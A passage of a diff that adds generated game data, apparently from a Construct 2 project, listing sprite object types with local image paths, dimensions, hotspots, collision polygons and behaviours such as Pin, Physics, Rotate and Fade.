+ false,
+ 1,
+ 0,
+ false,
+ 751306029426749,
+ [
+ [
+ "images/sprite164-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 494703257769819
+ ]
+ ],
+ false,
+ false,
+ 535831310121213,
+ [],
+ null
+ ],
+ [
+ "t209",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 907055764607113,
+ [
+ [
+ "images/sprite172-sheet0.png",
+ 10462,
+ 0,
+ 0,
+ 180,
+ 44,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 873692051370015
+ ]
+ ],
+ false,
+ false,
+ 950615789753217,
+ [],
+ null
+ ],
+ [
+ "t210",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 723575728823997,
+ [
+ [
+ "images/sprite173-sheet0.png",
+ 1032,
+ 0,
+ 0,
+ 30,
+ 38,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 807015041960856,
+ [],
+ null
+ ],
+ [
+ "t211",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 735147126393442,
+ [
+ [
+ "images/sprite176-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 259250749630031,
+ [],
+ null
+ ],
+ [
+ "t212",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 587838639598020,
+ [
+ [
+ "images/blink1-sheet0.png",
+ 1237,
+ 0,
+ 0,
+ 108,
+ 92,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 865616275259344
+ ]
+ ],
+ false,
+ false,
+ 709625021195027,
+ [],
+ null
+ ],
+ [
+ "t213",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 487001250266136,
+ [
+ [
+ "images/spiner1-sheet0.png",
+ 21370,
+ 0,
+ 0,
+ 417,
+ 448,
+ 1,
+ 0.5011990666389465,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Rotate",
+ 19,
+ 514447029176763
+ ]
+ ],
+ false,
+ false,
+ 535032945339402,
+ [],
+ null
+ ],
+ [
+ "t214",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 617126745805415,
+ [
+ [
+ "images/spiner1-sheet0.png",
+ 21370,
+ 0,
+ 0,
+ 417,
+ 448,
+ 1,
+ 0.5011990666389465,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Rotate",
+ 19,
+ 465530862133795
+ ]
+ ],
+ false,
+ false,
+ 272368571724385,
+ [],
+ null
+ ],
+ [
+ "t215",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 482468010750257,
+ [
+ [
+ "images/spiner1-sheet0.png",
+ 21370,
+ 0,
+ 0,
+ 417,
+ 448,
+ 1,
+ 0.5011990666389465,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Rotate",
+ 19,
+ 913133457198490
+ ]
+ ],
+ false,
+ false,
+ 264810771789391,
+ [],
+ null
+ ],
+ [
+ "t216",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 985593220918527,
+ [
+ [
+ "images/spiner1-sheet0.png",
+ 21370,
+ 0,
+ 0,
+ 417,
+ 448,
+ 1,
+ 0.5011990666389465,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Rotate",
+ 19,
+ 915477268104892
+ ]
+ ],
+ false,
+ false,
+ 723782919622707,
+ [],
+ null
+ ],
+ [
+ "t217",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 743153298694584,
+ [
+ [
+ "images/spiner1-sheet0.png",
+ 21370,
+ 0,
+ 0,
+ 417,
+ 448,
+ 1,
+ 0.5011990666389465,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Rotate",
+ 19,
+ 503742296992990
+ ]
+ ],
+ false,
+ false,
+ 374394516001815,
+ [],
+ null
+ ],
+ [
+ "t218",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 989764827345507,
+ [
+ [
+ "images/sombra-sheet0.png",
+ 1561,
+ 0,
+ 0,
+ 103,
+ 41,
+ 1,
+ 0.5048543810844421,
+ 0.5121951103210449,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 962757164504325,
+ [],
+ null
+ ],
+ [
+ "t219",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 775831777649064,
+ [
+ [
+ "images/sprite183-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 773833088580376
+ ],
+ [
+ "Solid",
+ 17,
+ 194487790187000
+ ]
+ ],
+ false,
+ false,
+ 942850809081474,
+ [],
+ null
+ ],
+ [
+ "t220",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 992836547673460,
+ [
+ [
+ "images/sprite182-sheet0.png",
+ 9517,
+ 0,
+ 0,
+ 167,
+ 167,
+ 1,
+ 0.485029935836792,
+ 0.4970059990882874,
+ [],
+ [
+ -0.001496940851211548,
+ -0.005988001823425293,
+ 0.02994006872177124,
+ -0.01047900319099426,
+ 0.03592807054519653,
+ 0.02245497703552246,
+ 0.002994060516357422,
+ 0.02694600820541382
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 289572903253503
+ ],
+ [
+ "Fade",
+ 18,
+ 747770817628494
+ ]
+ ],
+ false,
+ false,
+ 484205699978981,
+ [],
+ null
+ ],
+ [
+ "t221",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 783230438912280,
+ [
+ [
+ "images/sprite184-sheet0.png",
+ 8731,
+ 0,
+ 0,
+ 167,
+ 167,
+ 1,
+ 0.485029935836792,
+ 0.4970059990882874,
+ [],
+ [
+ -0.001496940851211548,
+ -0.005988001823425293,
+ 0.02994006872177124,
+ -0.01047900319099426,
+ 0.03592807054519653,
+ 0.02245497703552246,
+ 0.002994060516357422,
+ 0.02694600820541382
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 192600699277355
+ ],
+ [
+ "Fade",
+ 18,
+ 952007295443170
+ ]
+ ],
+ false,
+ false,
+ 337537891432960,
+ [],
+ null
+ ],
+ [
+ "t222",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 643080229668576,
+ [
+ [
+ "images/sprite185-sheet0.png",
+ 8339,
+ 0,
+ 0,
+ 167,
+ 167,
+ 1,
+ 0.485029935836792,
+ 0.4970059990882874,
+ [],
+ [
+ -0.001496940851211548,
+ -0.005988001823425293,
+ 0.02994006872177124,
+ -0.01047900319099426,
+ 0.03592807054519653,
+ 0.02245497703552246,
+ 0.002994060516357422,
+ 0.02694600820541382
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 691185440248395
+ ],
+ [
+ "Fade",
+ 18,
+ 610161352951537
+ ]
+ ],
+ false,
+ false,
+ 553078073364001,
+ [],
+ null
+ ],
+ [
+ "t223",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 352733808202754,
+ [
+ [
+ "images/colisionador1-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 892408220720249
+ ]
+ ],
+ false,
+ false,
+ 915518490695707,
+ [],
+ null
+ ],
+ [
+ "t224",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 185153963244103,
+ [
+ [
+ "images/colisionador1-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 430284538636191
+ ]
+ ],
+ false,
+ false,
+ 835205160054358,
+ [],
+ null
+ ],
+ [
+ "t225",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 684465324410817,
+ [
+ [
+ "images/colisionador1-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 701887036614158
+ ]
+ ],
+ false,
+ false,
+ 701949967602408,
+ [],
+ null
+ ],
+ [
+ "t226",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 869768021606398,
+ [
+ [
+ "images/colisionador1-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 211173270233018
+ ]
+ ],
+ false,
+ false,
+ 964034689127699,
+ [],
+ null
+ ],
+ [
+ "t227",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 719076695237609,
+ [
+ [
+ "images/colisionador1-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 626339544345578
+ ]
+ ],
+ false,
+ false,
+ 242376462543441,
+ [],
+ null
+ ],
+ [
+ "t228",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 299961726874723,
+ [
+ [
+ "images/colisionador1-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 409690846470555
+ ]
+ ],
+ false,
+ false,
+ 653299338656945,
+ [],
+ null
+ ],
+ [
+ "t229",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 438902789936616,
+ [
+ [
+ "images/colisionador1-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 735416727532196
+ ]
+ ],
+ false,
+ false,
+ 215957437962546,
+ [],
+ null
+ ],
+ [
+ "t230",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 400077166892169,
+ [
+ [
+ "images/colisionador1-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 737857883214821
+ ]
+ ],
+ false,
+ false,
+ 370617164914902,
+ [],
+ null
+ ],
+ [
+ "t231",
+ 12,
+ false,
+ [],
+ 3,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 60,
+ false,
+ 1,
+ 0,
+ false,
+ 610447760436481,
+ [
+ [
+ "images/coin2-sheet0.png",
+ 4444,
+ 0,
+ 0,
+ 128,
+ 128,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 900387799322080
+ ],
+ [
+ "Fade",
+ 18,
+ 166462228060187
+ ],
+ [
+ "DestroyOutsideLayout",
+ 22,
+ 201923487310895
+ ]
+ ],
+ false,
+ false,
+ 790918371210593,
+ [],
+ null
+ ],
+ [
+ "t232",
+ 12,
+ false,
+ [],
+ 3,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 60,
+ false,
+ 1,
+ 0,
+ false,
+ 354393706252793,
+ [
+ [
+ "images/coin2-sheet0.png",
+ 4444,
+ 0,
+ 0,
+ 128,
+ 128,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 465878134354154
+ ],
+ [
+ "Fade",
+ 18,
+ 193705934661941
+ ],
+ [
+ "DestroyOutsideLayout",
+ 22,
+ 173574197628376
+ ]
+ ],
+ false,
+ false,
+ 978731562467481,
+ [],
+ null
+ ],
+ [
+ "t233",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 322587591132480,
+ [
+ [
+ "images/barra-sheet0.png",
+ 728,
+ 0,
+ 0,
+ 276,
+ 17,
+ 1,
+ 0.003623188473284245,
+ 0.529411792755127,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 123489577631966,
+ [],
+ null
+ ],
+ [
+ "t234",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 164195544086381,
+ [
+ [
+ "images/sprite188-sheet0.png",
+ 3784,
+ 0,
+ 0,
+ 84,
+ 40,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 163171537515626,
+ [],
+ null
+ ],
+ [
+ "t235",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 718093949900248,
+ [
+ [
+ "images/sprite189-sheet0.png",
+ 4351,
+ 0,
+ 0,
+ 310,
+ 45,
+ 1,
+ 0.5,
+ 0.5111111402511597,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 817240458135863,
+ [],
+ null
+ ],
+ [
+ "t236",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 136168739736785,
+ [
+ [
+ "images/sprite191-sheet0.png",
+ 3278,
+ 0,
+ 0,
+ 138,
+ 48,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ 0.5,
+ 0.5,
+ -0.5,
+ 0.5,
+ -0.5,
+ -0.5,
+ 0.5,
+ -0.5
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 450944812687767,
+ [],
+ null
+ ],
+ [
+ "t237",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 209231382458097,
+ [
+ [
+ "images/sprite194-sheet0.png",
+ 3505,
+ 0,
+ 0,
+ 64,
+ 48,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ 0.5,
+ 0.5,
+ -0.5,
+ 0.5,
+ -0.5,
+ -0.5,
+ 0.5,
+ -0.5
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 415747075201468,
+ [],
+ null
+ ],
+ [
+ "t238",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 20,
+ false,
+ 1,
+ 0,
+ false,
+ 231284226909755,
+ [
+ [
+ "images/sprite196-sheet0.png",
+ 1233872,
+ 1,
+ 1,
+ 354,
+ 544,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite196-sheet0.png",
+ 1233872,
+ 357,
+ 1,
+ 354,
+ 544,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite196-sheet0.png",
+ 1233872,
+ 713,
+ 1,
+ 354,
+ 544,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite196-sheet0.png",
+ 1233872,
+ 1069,
+ 1,
+ 354,
+ 544,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite196-sheet0.png",
+ 1233872,
+ 1425,
+ 1,
+ 354,
+ 544,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite196-sheet0.png",
+ 1233872,
+ 1,
+ 547,
+ 354,
+ 544,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite196-sheet0.png",
+ 1233872,
+ 357,
+ 547,
+ 354,
+ 544,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite196-sheet0.png",
+ 1233872,
+ 713,
+ 547,
+ 354,
+ 544,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite196-sheet0.png",
+ 1233872,
+ 1069,
+ 547,
+ 354,
+ 544,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite196-sheet0.png",
+ 1233872,
+ 1425,
+ 547,
+ 354,
+ 544,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite196-sheet0.png",
+ 1233872,
+ 1,
+ 1093,
+ 354,
+ 544,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite196-sheet0.png",
+ 1233872,
+ 357,
+ 1093,
+ 354,
+ 544,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite196-sheet0.png",
+ 1233872,
+ 713,
+ 1093,
+ 354,
+ 544,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 205684086758613,
+ [],
+ null
+ ],
+ [
+ "t239",
+ 5,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/particles4.png",
+ 893,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 605647090016872,
+ [],
+ null
+ ],
+ [
+ "t240",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 363120178687678,
+ [
+ [
+ "images/sprite183-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 367272756823336
+ ],
+ [
+ "Solid",
+ 17,
+ 812361731841169
+ ]
+ ],
+ false,
+ false,
+ 102506497984914,
+ [],
+ null
+ ],
+ [
+ "t241",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 408174614727429,
+ [
+ [
+ "images/sprite183-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 424738063071443
+ ],
+ [
+ "Solid",
+ 17,
+ 530250420758929
+ ]
+ ],
+ false,
+ false,
+ 326392409917401,
+ [],
+ null
+ ],
+ [
+ "t242",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 754376781152020,
+ [
+ [
+ "images/sprite183-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 208819846726430
+ ],
+ [
+ "Solid",
+ 17,
+ 821869024625797
+ ]
+ ],
+ false,
+ false,
+ 711803253368790,
+ [],
+ null
+ ],
+ [
+ "t243",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 887558814583454,
+ [
+ [
+ "images/sprite200-sheet0.png",
+ 978,
+ 0,
+ 0,
+ 802,
+ 482,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Fade",
+ 18,
+ 720727875305576
+ ]
+ ],
+ false,
+ false,
+ 576636383774823,
+ [],
+ null
+ ],
+ [
+ "t244",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 335189434253536,
+ [
+ [
+ "images/sprite202-sheet0.png",
+ 9588,
+ 0,
+ 0,
+ 377,
+ 49,
+ 1,
+ 0.5013262629508972,
+ 0.5102040767669678,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "LiteTween",
+ 21,
+ 249861488246694
+ ]
+ ],
+ false,
+ false,
+ 357997445883233,
+ [],
+ null
+ ],
+ [
+ "t245",
+ 9,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/livefont.png",
+ 4846,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 334538069543178
+ ]
+ ],
+ false,
+ false,
+ 376765579849323,
+ [],
+ null
+ ],
+ [
+ "t246",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 643090574137996,
+ [
+ [
+ "images/sprite203-sheet0.png",
+ 19583,
+ 0,
+ 0,
+ 131,
+ 120,
+ 1,
+ 0.5038167834281921,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 470836629071145
+ ]
+ ],
+ false,
+ false,
+ 452796955890256,
+ [],
+ null
+ ],
+ [
+ "t247",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 377957240405543,
+ [
+ [
+ "images/sprite204-sheet0.png",
+ 13133,
+ 0,
+ 0,
+ 131,
+ 120,
+ 1,
+ 0.5038167834281921,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 338044783499565
+ ]
+ ],
+ false,
+ false,
+ 654601869579599,
+ [],
+ null
+ ],
+ [
+ "t248",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 985744697439085,
+ [
+ [
+ "images/sprite205-sheet0.png",
+ 17474,
+ 0,
+ 0,
+ 131,
+ 120,
+ 1,
+ 0.5038167834281921,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 360996147331250
+ ]
+ ],
+ false,
+ false,
+ 204843390602468,
+ [],
+ null
+ ],
+ [
+ "t249",
+ 5,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/p7.png",
+ 534,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 892105156124674,
+ [],
+ null
+ ],
+ [
+ "t250",
+ 5,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/p1.png",
+ 534,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 756740129369129,
+ [],
+ null
+ ],
+ [
+ "t251",
+ 5,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/p2.png",
+ 534,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 453201513728038,
+ [],
+ null
+ ],
+ [
+ "t252",
+ 5,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/p5.png",
+ 534,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 587020575192400,
+ [],
+ null
+ ],
+ [
+ "t253",
+ 5,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/p3.png",
+ 534,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 679924701368577,
+ [],
+ null
+ ],
+ [
+ "t254",
+ 5,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/p4.png",
+ 534,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 782361477480749,
+ [],
+ null
+ ],
+ [
+ "t255",
+ 5,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/p6.png",
+ 534,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 863098644535050,
+ [],
+ null
+ ],
+ [
+ "t256",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 691862425128693,
+ [
+ [
+ "images/sprite206-sheet0.png",
+ 219,
+ 0,
+ 0,
+ 25,
+ 28,
+ 1,
+ 0.5199999809265137,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Fade",
+ 18,
+ 737598579116222
+ ]
+ ],
+ false,
+ false,
+ 322091832386437,
+ [],
+ null
+ ],
+ [
+ "t257",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 654841394739831,
+ [
+ [
+ "images/sprite208-sheet0.png",
+ 219,
+ 0,
+ 0,
+ 25,
+ 28,
+ 1,
+ 0.5199999809265137,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Fade",
+ 18,
+ 693775019678960
+ ]
+ ],
+ false,
+ false,
+ 338988746853399,
+ [],
+ null
+ ],
+ [
+ "t258",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 590589357546351,
+ [
+ [
+ "images/sprite209-sheet0.png",
+ 276,
+ 0,
+ 0,
+ 36,
+ 28,
+ 1,
+ 0.5277777910232544,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Fade",
+ 18,
+ 132797435663815
+ ]
+ ],
+ false,
+ false,
+ 670374687686472,
+ [],
+ null
+ ],
+ [
+ "t259",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 617056535600441,
+ [
+ [
+ "images/sprite40-sheet0.png",
+ 111444,
+ 753,
+ 1,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
